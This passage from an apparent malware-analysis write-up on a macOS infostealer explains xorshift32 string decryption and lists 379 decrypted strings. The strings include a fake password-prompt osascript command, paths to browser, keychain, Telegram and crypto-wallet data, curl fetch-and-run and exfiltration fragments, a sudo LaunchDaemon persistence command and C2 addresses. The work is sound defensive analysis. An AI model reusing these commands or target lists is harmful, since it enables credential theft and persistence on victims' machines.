<span id="cb15-6">    state <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> xorshift32_next(state)</span></code></pre></div></div>
<p>This means that with only the encrypted data section should be possible to decrypt all strings. I successfully manually decrypted a couple of examples, but struggled to determine how the strings were separated. With a single null byte? With two? three? The results were inconsistent across the region, and still not sure about the last unused byte.</p>
<p>To make some progress, I tried a different approach and vibe-wrote my first IDA script.</p>
<div class="callout callout-style-default callout-tip callout-titled" title="Gist" style="max-height: 300px; overflow-y: auto;">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
<span class="screen-reader-only">Tip</span>Gist
</div>
</div>
<div class="callout-body-container callout-body">
<script src="https://gist.github.com/0xlibris/9355d765d3cab9221d6f4f208517995e.js"></script>
</div>
</div>
<p><a href="https://gist.github.com/0xlibris/9355d765d3cab9221d6f4f208517995e.js">IDAPython script for decrypting xorshift32-obfuscated strings in macOS malware</a></p>
<p>I’m not very proud of this code, but at least it works 🙃. In summary, the approach is as follows:</p>
<ol type="1">
<li>find xrefs to the encrypted data section</li>
<li>extract the seed and the size of the data to decrypt</li>
<li>decrypt data using xorshift32 PRNG and seed</li>
</ol>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/output_script.png" title="output of IDA script with 379 results" class="img-fluid"></p>
<p>Running this script returns 379 nicely decrypted strings</p>
<div class="callout callout-style-default callout-tip callout-titled" style="max-height: 300px; overflow-y: auto;">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
<span class="screen-reader-only">Tip</span>Decrypted xorshift32 strings
</div>
</div>
<div class="callout-body-container callout-body">
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb16" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb16-1">"dscl . authonly '"</span>
<span id="cb16-2">"s"</span>
<span id="cb16-3">"masterpass-chrome"</span>
<span id="cb16-4">"osascript -e 'set passwen to display dialog "Please enter device password to continue." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "Password Request" with hidden answer</span>
<span id="cb16-5">text returned of passwen'"</span>
<span id="cb16-6">"Partitions"</span>
<span id="cb16-7">"Code Cache"</span>
<span id="cb16-8">"Cache"</span>
<span id="cb16-9">"market-history-cache.json"</span>
<span id="cb16-10">"journals"</span>
<span id="cb16-11">"Previews"</span>
<span id="cb16-12">"GPUCache"</span>
<span id="cb16-13">"DawnCache"</span>
<span id="cb16-14">"Crashpad"</span>
<span id="cb16-15">"DawnWebGPUCache"</span>
<span id="cb16-16">"DawnGraphiteCache"</span>
<span id="cb16-17">"__update__"</span>
<span id="cb16-18">"media"</span>
<span id="cb16-19">"calls"</span>
<span id="cb16-20">"/cookies.sqlite"</span>
<span id="cb16-21">"/formhistory.sqlite"</span>
<span id="cb16-22">"/key4.db"</span>
<span id="cb16-23">"/logins.json"</span>
<span id="cb16-24">"gecko/"</span>
<span id="cb16-25">"/IndexedDB/"</span>
<span id="cb16-26">"/IndexedDB/"</span>
<span id="cb16-27">"ldinpeekobnhjjdofggfgjlcehhmanlj"</span>
<span id="cb16-28">"nphplpgoakhhjchkkhmiggakijnkhfnd"</span>
<span id="cb16-29">"jbkgjmpfammbgejcpedggoefddacbdia"</span>
<span id="cb16-30">"fccgmnglbhajioalokbcidhcaikhlcpm"</span>
<span id="cb16-31">"nebnhfamliijlghikdgcigoebonmoibm"</span>
<span id="cb16-32">"fdcnegogpncmfejlfnffnofpngdiejii"</span>
<span id="cb16-33">"mfhbebgoclkghebffdldpobeajmbecfk"</span>
<span id="cb16-34">"ffbceckpkpbcmgiaehlloocglmijnpmp"</span>
<span id="cb16-35">"kfdniefadaanbjodldohaedphafoffoh"</span>
<span id="cb16-36">"bedogdpgdnifilpgeianmmdabklhfkcn"</span>
<span id="cb16-37">"kpfchfdkjhcoekhdldggegebfakaaiog"</span>
<span id="cb16-38">"klnaejjgbibmhlephnhpmaofohgkpgkd"</span>
<span id="cb16-39">"opcgpfmipidbgpenhmajoajpbobppdil"</span>
<span id="cb16-40">"mmmjbcfofconkannjonfmjjajpllddbg"</span>
<span id="cb16-41">"modjfdjcodmehnpccdjngmdfajggaoeh"</span>
<span id="cb16-42">"dkdedlpgdmmkkfjabffeganieamfklkm"</span>
<span id="cb16-43">"ifclboecfhkjbpmhgehodcjpciihhmif"</span>
<span id="cb16-44">"ppbibelpcjmhbdihakflkdcoccbgbkpo"</span>
<span id="cb16-45">"ejjladinnckdgjemekebdpeokbikhfci"</span>
<span id="cb16-46">"kkpllkodjeloidieedojogacfhpaihoh"</span>
<span id="cb16-47">"apnehcjmnengpnmccpaibjmhhoadaico"</span>
<span id="cb16-48">"jiepnaheligkibgcjgjepjfppgbcghmp"</span>
<span id="cb16-49">"jojhfeoedkpkglbfimdfabpdfjaoolaf"</span>
<span id="cb16-50">"idpdilbfamoopcfofbipefhmmnflljfi"</span>
<span id="cb16-51">"lbjapbcmmceacocpimbpbidpgmlmoaao"</span>
<span id="cb16-52">"oiohdnannmknmdlddkdejbmplhbdcbee"</span>
<span id="cb16-53">"fldfpgipfncgndfolcbkdeeknbbbnhcc"</span>
<span id="cb16-54">"fpkhgmpbidmiogeglndfbkegfdlnajnf"</span>
<span id="cb16-55">"lgmpcpglpngdoalbgeoldeajfclnhafa"</span>
<span id="cb16-56">"ilhaljfiglknggcoegeknjghdgampffk"</span>
<span id="cb16-57">"pfccjkejcgoppjnllalolplgogenfojk"</span>
<span id="cb16-58">"cnmamaachppnkjgnildpdmkaakejnhae"</span>
<span id="cb16-59">"eajafomhmkipbjmfmhebemolkcicgfmd"</span>
<span id="cb16-60">"emeeapjkbcbpbpgaagfchmcgglmebnen"</span>
<span id="cb16-61">"ibnejdfjmmkpcnlpebklmnkoeoihofec"</span>
<span id="cb16-62">"hifafgmccdpekplomjjkcfgodnhcellj"</span>
<span id="cb16-63">"ffnbelfdoeiohenkjibnmadjiehjhajb"</span>
<span id="cb16-64">"fnjhmkhhmkbjkkabndcnnogagogbneec"</span>
<span id="cb16-65">"bcopgchhojmggmffilplmbdicgaihlkp"</span>
<span id="cb16-66">"cmoakldedjfnjofgbbfenefcagmedlga"</span>
<span id="cb16-67">"ifckdpamphokdglkkdomedpdegcjhjdp"</span>
<span id="cb16-68">"ibljocddagjghmlpgihahamcghfggcjc"</span>
<span id="cb16-69">"cjmkndjhnagcfbpiemnkdpomccnjblmj"</span>
<span id="cb16-70">"kbdcddcmgoplfockflacnnefaehaiocb"</span>
<span id="cb16-71">"cgeeodpfagjceefieflmdfphplkenlfk"</span>
<span id="cb16-72">"afbcbjpbpfadlkmhmclhkeeodmamcflc"</span>
<span id="cb16-73">"fdchdcpieegfofnofhgdombfckhbcokj"</span>
<span id="cb16-74">"gjlmehlldlphhljhpnlddaodbjjcchai"</span>
<span id="cb16-75">"ellkdbaphhldpeajbepobaecooaoafpg"</span>
<span id="cb16-76">"ojbcfhjmpigfobfclfflafhblgemeidi"</span>
<span id="cb16-77">"ghlmndacnhlaekppcllcpcjjjomjkjpg"</span>
<span id="cb16-78">"kgdijkcfiglijhaglibaidbipiejjfdp"</span>
<span id="cb16-79">"abkahkcbhngaebpcgfmhkoioedceoigp"</span>
<span id="cb16-80">"ammjlinfekkoockogfhdkgcohjlbhmff"</span>
<span id="cb16-81">"pdliaogehgdbhbnmkklieghmmjkpigpa"</span>
<span id="cb16-82">"jnlgamecbpmbajjfhmmmlhejkemejdma"</span>
<span id="cb16-83">"nbdhibgjnjpnkajaghbffjbkcgljfgdi"</span>
<span id="cb16-84">"jfdlamikmbghhapbgfoogdffldioobgl"</span>
<span id="cb16-85">"fijngjgcjhjmmpcmkeiomlglpeiijkld"</span>
<span id="cb16-86">"hgbeiipamcgbdjhfflifkgehomnmglgk"</span>
<span id="cb16-87">"pmmnimefaichbcnbndcfpaagbepnjaig"</span>
<span id="cb16-88">"cflgahhmjlmnjbikhakapcfkpbcmllam"</span>
<span id="cb16-89">"keenhcnmdmjjhincpilijphpiohdppno"</span>
<span id="cb16-90">"bipdhagncpgaccgdbddmbpcabgjikfkn"</span>
<span id="cb16-91">"bcenedbpaaegpnijoadpdjiachahncdg"</span>
<span id="cb16-92">"pocmplpaccanhmnllbbkpgfliimjljgo"</span>
<span id="cb16-93">"klghhnkeealcohjjanjjdaeeggmfmlpl"</span>
<span id="cb16-94">"cjookpbkjnpkmknedggeecikaponcalb"</span>
<span id="cb16-95">"ojggmchlghnjlapmfbnjholfjkiidbch"</span>
<span id="cb16-96">"dngmlblcodfobpdpecaadgfbcggfjfnm"</span>
<span id="cb16-97">"jnldfbidonfeldmalbflbmlebbipcnle"</span>
<span id="cb16-98">"ehjiblpccbknkgimiflboggcffmpphhp"</span>
<span id="cb16-99">"agoakfejjabomempkjlepdflaleeobhb"</span>
<span id="cb16-100">"fopmedgnkfpebgllppeddmmochcookhc"</span>
<span id="cb16-101">"dmkamcknogkgcdfhhbddcghachkejeap"</span>
<span id="cb16-102">"iglbgmakmggfkoidiagnhknlndljlolb"</span>
<span id="cb16-103">"opfgelmcmbiajamepnmloijbpoleiama"</span>
<span id="cb16-104">"gkeelndblnomfmjnophbhfhcjbcnemka"</span>
<span id="cb16-105">"dgiehkgfknklegdhekgeabnhgfjhbajd"</span>
<span id="cb16-106">"gafhhkghbfjjkeiendhlofajokpaflmk"</span>
<span id="cb16-107">"imlcamfeniaidioeflifonfjeeppblda"</span>
<span id="cb16-108">"penjlddjkjgpnkllboccdgccekpkcbin"</span>
<span id="cb16-109">"nhnkbkgjikgcigadomkphalanndcapjk"</span>
<span id="cb16-110">"egjidjbpglichdcondbcbdnbeeppgdph"</span>
<span id="cb16-111">"dlcobpjiigpikoobohmabehhmhfoodbb"</span>
<span id="cb16-112">"dldjpboieedgcmpkchcjcbijingjcgok"</span>
<span id="cb16-113">"acmacodkjbdgmoleebolmdjonilkdbch"</span>
<span id="cb16-114">"lccbohhgfkdikahanoclbdmaolidjdfl"</span>
<span id="cb16-115">"pcndjhkinnkaohffealmlmhaepkpmgkb"</span>
<span id="cb16-116">"gjagmgiddbbciopjhllkdnddhcglnemk"</span>
<span id="cb16-117">"cnncmdhjacpkmjmkcafchppbnpnhdmon"</span>
<span id="cb16-118">"mfgccjchihfkkindfppnaooecgfneiii"</span>
<span id="cb16-119">"ieldiilncjhfkalnemgjbffmpomcaigi"</span>
<span id="cb16-120">"ckklhkaabbmdjkahiaaplikpdddkenic"</span>
<span id="cb16-121">"loinekcabhlmhjjbocijdoimmejangoa"</span>
<span id="cb16-122">"mgffkfbidihjpoaomajlbgchddlicgpn"</span>
<span id="cb16-123">"pnndplcbkakcplkjnolgbkdgjikjednm"</span>
<span id="cb16-124">"mcohilncbfahbmgdjkbpemcciiolgcge"</span>
<span id="cb16-125">"bgpipimickeadkjlklgciifhnalhdjhe"</span>
<span id="cb16-126">"pdadjkfkgcafgbceimcpbkalnfnepbnk"</span>
<span id="cb16-127">"jiidiaalihmmhddjgbnbgdfflelocpak"</span>
<span id="cb16-128">"aeachknmefphepccionboohckonoeemg"</span>
<span id="cb16-129">"gdokollfhmnbfckbobkdbakhilldkhcj"</span>
<span id="cb16-130">"jiiigigdinhhgjflhljdkcelcjfmplnd"</span>
<span id="cb16-131">"kmphdnilpmdejikjdnlbcnmnabepfgkh"</span>
<span id="cb16-132">"jaooiolkmfcmloonphpiiogkfckgciom"</span>
<span id="cb16-133">"fcckkdbjnoikooededlapcalpionmalo"</span>
<span id="cb16-134">"mdnaglckomeedfbogeajfajofmfgpoae"</span>
<span id="cb16-135">"ebfidpplhabeedpnhjnobghokpiioolj"</span>
<span id="cb16-136">"dbgnhckhnppddckangcjbkjnlddbjkna"</span>
<span id="cb16-137">"cpmkedoipcpimgecpmgpldfpohjplkpp"</span>
<span id="cb16-138">"epapihdplajcdnnkdeiahlgigofloibg"</span>
<span id="cb16-139">"iokeahhehimjnekafflcihljlcjccdbe"</span>
<span id="cb16-140">"cihmoadaighcejopammfbmddcmdekcje"</span>
<span id="cb16-141">"hnfanknocfeofbddgcijnmhnfnkdnaad"</span>
<span id="cb16-142">"kilnpioakcdndlodeeceffgjdpojajlo"</span>
<span id="cb16-143">"abogmiocnneedmmepnohnhlijcjpcifd"</span>
<span id="cb16-144">"bofddndhbegljegmpmnlbhcejofmjgbn"</span>
<span id="cb16-145">"aholpfdialjgjfhomihkjbmgjidlcdno"</span>
<span id="cb16-146">"hdkobeeifhdplocklknbnejdelgagbao"</span>
<span id="cb16-147">"oafedfoadhdjjcipmcbecikgokpaphjk"</span>
<span id="cb16-148">"bfnaelmomeimhlpmgjnjophhpkkoljpa"</span>
<span id="cb16-149">"nkbihfbeogaeaoehlefnkodbefgpgknn"</span>
<span id="cb16-150">"lfmmjkfllhmfmkcobchabopkcefjkoip"</span>
<span id="cb16-151">"aiifbnbfobpmeekipheeijimdpnlpgpp"</span>
<span id="cb16-152">"anokgmphncpekkhclmingpimjmcooifb"</span>
<span id="cb16-153">"mnfifefkajgofkcjkemidiaecocnkjeh"</span>
<span id="cb16-154">"momakdpclmaphlamgjcndbgfckjfpemp"</span>
<span id="cb16-155">"akkmagafhjjjjclaejjomkeccmjhdkpa"</span>
<span id="cb16-156">"ehgjhhccekdedpbkifaojjaefeohnoea"</span>
<span id="cb16-157">"mkpegjkblkkefacfnmkajcjmabijhclg"</span>
<span id="cb16-158">"mlhakagmgkmonhdonhkpjeebfphligng"</span>
<span id="cb16-159">"niiaamnmgebpeejeemoifgdndgeaekhe"</span>
<span id="cb16-160">"jnmbobjmhlngoefaiojfljckilhhlhcj"</span>
<span id="cb16-161">"onhogfjeacnfoofkfgppdlbmlmnplgbn"</span>
<span id="cb16-162">"kppfdiipphfccemcignhifpjkapfbihd"</span>
<span id="cb16-163">"hcjhpkgbmechpabifbggldplacolbkoh"</span>
<span id="cb16-164">"flpiciilemghbmfalicajoolhkkenfel"</span>
<span id="cb16-165">"mlbnicldlpdimbjdcncnklfempedeipj"</span>
<span id="cb16-166">"cfbfdhimifdmdehjmkdobpcjfefblkjm"</span>
<span id="cb16-167">"ocjobpilfplciaddcbafabcegbilnbnb"</span>
<span id="cb16-168">"pgiaagfkgcbnmiiolekcfmljdagdhlcm"</span>
<span id="cb16-169">"enabgbdfcbaehmbigakijjabdpdnimlg"</span>
<span id="cb16-170">"bifidjkcdpgfnlbcjpdkdcnbiooooblg"</span>
<span id="cb16-171">"lnnnmfcpbkafcpgdilckhmhbkkbpkmid"</span>
<span id="cb16-172">"nlgbhdfgdhgbiamfdfmbikcdghidoadd"</span>
<span id="cb16-173">"fcfcfllfndlomdhbehjjcoimbgofdncg"</span>
<span id="cb16-174">"lpilbniiabackdjcionkobglmddfbcjo"</span>
<span id="cb16-175">"efbglgofoippbgcjepnhiblaibcnclgk"</span>
<span id="cb16-176">"fhbohimaelbohpjbbldcngcnapndodjp"</span>
<span id="cb16-177">"gkodhkbmiflnmkipcmlhhgadebbeijhh"</span>
<span id="cb16-178">"bocpokimicclpaiekenaeelehdjllofo"</span>
<span id="cb16-179">"bhhhlbepdkbapadjdnnojkbgioiodbic"</span>
<span id="cb16-180">"aflkmfhebedbjioipglgcbcmnbpgliof"</span>
<span id="cb16-181">"mkchoaaiifodcflmbaphdgeidocajadp"</span>
<span id="cb16-182">"mapbhaebnddapnmifbbkgeedkeplgjmf"</span>
<span id="cb16-183">"lmkncnlpeipongihbffpljgehamdebgi"</span>
<span id="cb16-184">"gjnckgkfmgmibbkoficdidcljeaaaheg"</span>
<span id="cb16-185">"ppdadbejkmjnefldpcdjhnkpbjkikoip"</span>
<span id="cb16-186">"bopcbmipnjdcdfflfgjdgdjejmgpoaab"</span>
<span id="cb16-187">"kamfleanhcmjelnhaeljonilnmjpkcjc"</span>
<span id="cb16-188">"cphhlgmgameodnhkjdmkpanlelnlohao"</span>
<span id="cb16-189">"hnhobjmcibchnmglfbldbfabcgaknlkj"</span>
<span id="cb16-190">"nknhiehlklippafakaeklbeglecifhad"</span>
<span id="cb16-191">"kjjebdkfeagdoogagbhepmbimaphnfln"</span>
<span id="cb16-192">"phkbamefinggmakgklpkljjmgibohnba"</span>
<span id="cb16-193">"lakggbcodlaclcbbbepmkpdhbcomcgkd"</span>
<span id="cb16-194">"ookjlbkiijinhpmnjffcofjonbfbgaoc"</span>
<span id="cb16-195">"mdjmfdffdcmnoblignmgpommbefadffd"</span>
<span id="cb16-196">"jblndlipeogpafnldhgmapagcccfchpi"</span>
<span id="cb16-197">"hbbgbephgojikajhfbomhlmmollphcad"</span>
<span id="cb16-198">"dpcklmdombjcplafheapiblogdlgjjlb"</span>
<span id="cb16-199">"hmeobnfnfcmdkdcmlblgagmfpfboieaf"</span>
<span id="cb16-200">"kmhcihpebfmpgmihbkipmjlmmioameka"</span>
<span id="cb16-201">"kennjipeijpeengjlogfdjkiiadhbmjl"</span>
<span id="cb16-202">"amkmjjmmflddogmhpjloimipbofnfjih"</span>
<span id="cb16-203">"idnnbdplmphpflfnlkomgpfbpcgelopg"</span>
<span id="cb16-204">"fmblappgoiilbgafhjklehhfifbdocee"</span>
<span id="cb16-205">"heamnjbnflcikcggoiplibfommfbkjpj"</span>
<span id="cb16-206">"khpkpbbcccdmmclmpigdgddabeilkdpd"</span>
<span id="cb16-207">"omaabbefbmiijedngplfjmnooppbclkk"</span>
<span id="cb16-208">"nhlnehondigmgckngjomcpcefcdplmgc"</span>
<span id="cb16-209">"fiikommddbeccaoicoejoniammnalkfa"</span>
<span id="cb16-210">"ejbidfepgijlcgahbmbckmnaljagjoll"</span>
<span id="cb16-211">"glmhbknppefdmpemdmjnjlinpbclokhn"</span>
<span id="cb16-212">"kncchdigobghenbbaddojjnnaogfppfj"</span>
<span id="cb16-213">"hpclkefagolihohboafpheddmmgdffjm"</span>
<span id="cb16-214">"ilolmnhjbbggkmopnemiphomhaojndmb"</span>
<span id="cb16-215">"panpgppehdchfphcigocleabcmcgfoca"</span>
<span id="cb16-216">"nngceckbapebfimnlniiiahkandclblb"</span>
<span id="cb16-217">"hdokiejnpimakedhajhdlcegeplioahd"</span>
<span id="cb16-218">"eiaeiblijfjekdanodkjadfinkhbfgcd"</span>
<span id="cb16-219">"bfogiafebfohielmmehodmfbbebbbpei"</span>
<span id="cb16-220">"pnlccmojcmeohlpggmfnbbiapkmbliob"</span>
<span id="cb16-221">"aeblfdkhhhdcdjpifhhbdiojplfjncoa"</span>
<span id="cb16-222">"kmcfomidfpdkfieipokbalgegidffkal"</span>
<span id="cb16-223">"fdjamakpfbbddfjaooikfcpapjohcfmg"</span>
<span id="cb16-224">"ghmbeldphafepmbegfdlkpapadhbakde"</span>
<span id="cb16-225">"cnlhokffphohmfcddnibpohmkdfafdli"</span>
<span id="cb16-226">"khhapgacijodhjokkcjmleaempmchlem"</span>
<span id="cb16-227">"admmjipmmciaobhojoghlmleefbicajg"</span>
<span id="cb16-228">"caljgklbbfbcjjanaijlacgncafpegll"</span>
<span id="cb16-229">"bdgmdoedahdcjmpmifafdhnffjinddgc"</span>
<span id="cb16-230">"bhghoamapcdpbohphigoooaddinpkbai"</span>
<span id="cb16-231">"iklgijhacenjgjgdnpnohbafpbmnccek"</span>
<span id="cb16-232">"bbphmbmmpomfelajledgdkgclfekilei"</span>
<span id="cb16-233">"npjilhodcgmigpladpfkkclbmkebalfd"</span>
<span id="cb16-234">"gmegpkknicehidppoebnmbhndjigpica"</span>
<span id="cb16-235">"ibpjepoimpcdofeoalokgpjafnjonkpc"</span>
<span id="cb16-236">"gmohoglkppnemohbcgjakmgengkeaphi"</span>
<span id="cb16-237">"pdiccmolmknojplidnlkaenkejbminpp"</span>
<span id="cb16-238">"dbfoemgnkgieejfkaddieamagdfepnff"</span>
<span id="cb16-239">"mmhlniccooihdimnnjhamobppdhaolme"</span>
<span id="cb16-240">"lgbjhdkjmpgjgcbcdlhkokkckpjmedgc"</span>
<span id="cb16-241">"deelhmmhejpicaaelihagchjjafjapjc"</span>
<span id="cb16-242">"hldllnfgjbablcfcdcjldbbfopmohnda"</span>
<span id="cb16-243">"igkpcodhieompeloncfnbekccinhapdb"</span>
<span id="cb16-244">"ajgehecfkfhindkhdcjmifbngkfdflla"</span>
<span id="cb16-245">"kghbmcgihmefcbjlfiafjcigdcbmecbf"</span>
<span id="cb16-246">"gejiddohjgogedgjnonbofjigllpkmbf"</span>
<span id="cb16-247">"didegimhafipceonhjepacocaffmoppf"</span>
<span id="cb16-248">"bnfdmghkeppfadphbnkjcicejfepnbfe"</span>
<span id="cb16-249">"gcmahhkjkpigcpfpmdjnbiakmbdegfeh"</span>
<span id="cb16-250">"/Network/Cookies"</span>
<span id="cb16-251">"/Cookies"</span>
<span id="cb16-252">"/Web Data"</span>
<span id="cb16-253">"/Login Data"</span>
<span id="cb16-254">"/Local Extension Settings/"</span>
<span id="cb16-255">"/IndexedDB/"</span>
<span id="cb16-256">"chromium/"</span>
<span id="cb16-257">"Default"</span>
<span id="cb16-258">"Profile"</span>
<span id="cb16-259">"/Network/Cookies"</span>
<span id="cb16-260">"/Cookies"</span>
<span id="cb16-261">"/Local Extension Settings/"</span>
<span id="cb16-262">"/IndexedDB/"</span>
<span id="cb16-263">"Telegram Desktop/tdata/"</span>
<span id="cb16-264">"key_datas"</span>
<span id="cb16-265">"/maps"</span>
<span id="cb16-266">"curl -s "</span>
<span id="cb16-267">"/api/v1/getscptraw"</span>
<span id="cb16-268">"nohup "</span>
<span id="cb16-269">" &gt;/dev/null 2&gt;&amp;1 &amp;"</span>
<span id="cb16-270">"curl -s "</span>
<span id="cb16-271">"/api/v1/getscpt/"</span>
<span id="cb16-272">"/tmp/starter"</span>
<span id="cb16-273">"echo '"</span>
<span id="cb16-274">"' | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.xdivcmp.plist"</span>
<span id="cb16-275">"echo '"</span>
<span id="cb16-276">"' | sudo -S launchctl bootstrap system /Library/LaunchDaemons/com.xdivcmp.plist"</span>
<span id="cb16-277">"/Applications/"</span>
<span id="cb16-278">".app"</span>
<span id="cb16-279">"/tmp/"</span>
<span id="cb16-280">"/web/"</span>
<span id="cb16-281">"curl "</span>
<span id="cb16-282">" -o "</span>
<span id="cb16-283">"pkill '"</span>
<span id="cb16-284">"rm -rf '"</span>
<span id="cb16-285">"echo '"</span>
<span id="cb16-286">"' | sudo -S rm -rf '"</span>
<span id="cb16-287">"ditto -x -k '"</span>
<span id="cb16-288">"' /Applications"</span>
<span id="cb16-289">"root"</span>
<span id="cb16-290">"/tmp/lksopo/"</span>
<span id="cb16-291">"/Users/"</span>
<span id="cb16-292">"Library/"</span>
<span id="cb16-293">"Application Support/"</span>
<span id="cb16-294">"Keychains/login.keychain-db"</span>
<span id="cb16-295">"Google/Chrome/"</span>
<span id="cb16-296">"sw_vers -productVersion | cut -d. -f1"</span>
<span id="cb16-297">"sw_vers -productVersion | cut -d. -f2"</span>
<span id="cb16-298">".pwd"</span>
<span id="cb16-299">"user"</span>
<span id="cb16-300">"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType"</span>
<span id="cb16-301">"hardware"</span>
<span id="cb16-302">"Chrome"</span>
<span id="cb16-303">"Google/Chrome/"</span>
<span id="cb16-304">"Brave"</span>
<span id="cb16-305">"BraveSoftware/Brave-Browser/"</span>
<span id="cb16-306">"Edge"</span>
<span id="cb16-307">"Microsoft Edge/"</span>
<span id="cb16-308">"Vivaldi"</span>
<span id="cb16-309">"Vivaldi/"</span>
<span id="cb16-310">"Opera"</span>
<span id="cb16-311">"com.operasoftware.Opera/"</span>
<span id="cb16-312">"OperaGX"</span>
<span id="cb16-313">"com.operasoftware.OperaGX/"</span>
<span id="cb16-314">"Chrome Beta"</span>
<span id="cb16-315">"Google/Chrome Beta/"</span>
<span id="cb16-316">"Chrome Canary"</span>
<span id="cb16-317">"Google/Chrome Canary/"</span>
<span id="cb16-318">"Chromium"</span>
<span id="cb16-319">"Chromium/"</span>
<span id="cb16-320">"Chrome Dev"</span>
<span id="cb16-321">"Google/Chrome Dev/"</span>
<span id="cb16-322">"Arc/User Data/"</span>
<span id="cb16-323">"CocCoc"</span>
<span id="cb16-324">"CocCoc/Browser/"</span>
<span id="cb16-325">"Electrum"</span>
<span id="cb16-326">".electrum/wallets/"</span>
<span id="cb16-327">"Coinomi"</span>
<span id="cb16-328">"Coinomi/wallets/"</span>
<span id="cb16-329">"Exodus"</span>
<span id="cb16-330">"Exodus/"</span>
<span id="cb16-331">"Atomic"</span>
<span id="cb16-332">"atomic/Local Storage/leveldb/"</span>
<span id="cb16-333">"Wasabi"</span>
<span id="cb16-334">".walletwasabi/client/Wallets/"</span>
<span id="cb16-335">"Ledger_Live"</span>
<span id="cb16-336">"Ledger Live/"</span>
<span id="cb16-337">"Monero"</span>
<span id="cb16-338">"Monero/wallets/"</span>
<span id="cb16-339">"Bitcoin_Core"</span>
<span id="cb16-340">"Bitcoin/wallets/"</span>
<span id="cb16-341">"Litecoin_Core"</span>
<span id="cb16-342">"Litecoin/wallets/"</span>
<span id="cb16-343">"Dash_Core"</span>
<span id="cb16-344">"DashCore/wallets/"</span>
<span id="cb16-345">"Electrum_LTC"</span>
<span id="cb16-346">".electrum-ltc/wallets/"</span>
<span id="cb16-347">"Electron_Cash"</span>
<span id="cb16-348">".electron-cash/wallets/"</span>
<span id="cb16-349">"Guarda"</span>
<span id="cb16-350">"Guarda/"</span>
<span id="cb16-351">"Dogecoin_Core"</span>
<span id="cb16-352">"Dogecoin/wallets/"</span>
<span id="cb16-353">"Trezor_Suite"</span>
<span id="cb16-354">"@trezor/suite-desktop/"</span>
<span id="cb16-355">"Sparrow"</span>
<span id="cb16-356">".sparrow/wallets/"</span>
<span id="cb16-357">"Firefox"</span>
<span id="cb16-358">"Firefox/Profiles/"</span>
<span id="cb16-359">"Waterfox"</span>
<span id="cb16-360">"Waterfox/Profiles/"</span>
<span id="cb16-361">"deskwallets/"</span>
<span id="cb16-362">"ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip"</span>
<span id="cb16-363">"curl -X POST  -H "buildid: ab49e43473f54d43956fb7133f97"</span>
<span id="cb16-364">"rm -rf /tmp/lksopo"</span>
<span id="cb16-365">"rm -f /tmp/lksopo.zip"</span>
<span id="cb16-366">"http://192.253.248.181"</span>
<span id="cb16-367">"false"</span>
<span id="cb16-368">".botid"</span>
<span id="cb16-369">".pwd"</span>
<span id="cb16-370">"https://nqowf.com"</span>
<span id="cb16-371">".phost"</span>
<span id="cb16-372">".bhost"</span>
<span id="cb16-373">"prior"</span>
<span id="cb16-374">".username"</span>
<span id="cb16-375">"Ledger Live"</span>
<span id="cb16-376">"ledger.zip"</span>
<span id="cb16-377">"Ledger Wallet"</span>
<span id="cb16-378">"ledgerwallet.zip"</span>
<span id="cb16-379">"Trezor Suite"</span>
<span id="cb16-380">"trezor.zip"</span></code></pre></div></div>
</div>
</div>
<p>With 379 decrypted strings, we now have a much clearer picture of the malware’s reach. The strings reveal targets across multiple categories: cryptocurrency wallets (Ledger, Trezor, Guarda, Exodus, Electrum variants, Bitcoin, Litecoin, Dogecoin, and others), major web browsers (Chrome, Firefox, Edge, Brave, Opera, Vivaldi, Arc…), browser extensions, browser data (history, cookies), Telegram credentials, and C2 domains and other indicators. Finally, it downloads and executes a second payload.</p>
<p>At this point, we’ve more or less dissected the first stage. Now it’s time to examine what it downloads and executes: the second-stage AppleScript payload.</p>
</section>
</section>
<section id="second-stage-payload" class="level2">
<h2 class="anchored" data-anchor-id="second-stage-payload">Second stage payload</h2>
<p>The payload is an AppleScript of about 180 lines. It starts with defining the variable app_id to <code>"xxxblyat"</code>. Then there are multiple functions and starts by running <code>init(app_id)</code>.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb17" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb17-1">$ sha256sum getscptraw </span>
<span id="cb17-2">227e5a628ac131e4825d2a5fa8a7a051742a8c304f5cbdb06a3858b0e88c5054  getscptraw</span>
<span id="cb17-3">$ file getscptraw </span>
<span id="cb17-4">getscptraw: ASCII text</span>
<span id="cb17-5">$ wc getscptraw </span>
<span id="cb17-6">179  637 4354 getscptraw</span></code></pre></div></div>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/getscptraw.png" title="functions getscptraw AppleScript" class="img-fluid"></p>
<section id="structure-and-initial-setup" class="level3">
<h3 class="anchored" data-anchor-id="structure-and-initial-setup">Structure and Initial Setup</h3>
<p>The script starts by defining several helper functions for file operations and system interaction: <code>trim()</code> for whitespace removal, <code>readFile()</code> and <code>writeFile()</code> for persistence, and <code>checkActiveAppID()</code> to verify running processes.</p>
<p>The critical part is the <code>init()</code> function, which reads configuration from hidden files stored in the user’s home directory:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb18" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb18-1">~/.bhost       - Bot C2 server address</span>
<span id="cb18-2">~/.phost       - Panel address</span>
<span id="cb18-3">~/.username    - Panel username</span>
<span id="cb18-4">~/.botid       - Unique bot identifier</span>
<span id="cb18-5">~/.lastaction  - Track executed actions</span>
<span id="cb18-6">~/.uninstalled - Marker file for cleanup</span></code></pre></div></div>
<p>If any configuration is missing, the malware silently exits. This suggests it expects the first stage to have already dropped these files. We have already seen the strings <code>".botid"</code>, <code>".phost"</code> and <code>".bhost"</code> in the previous stage.</p>
</section>
<section id="c2-communication" class="level3">
<h3 class="anchored" data-anchor-id="c2-communication">C2 Communication</h3>
<p>The malware implements a pull-based C2 model with two main functions:</p>
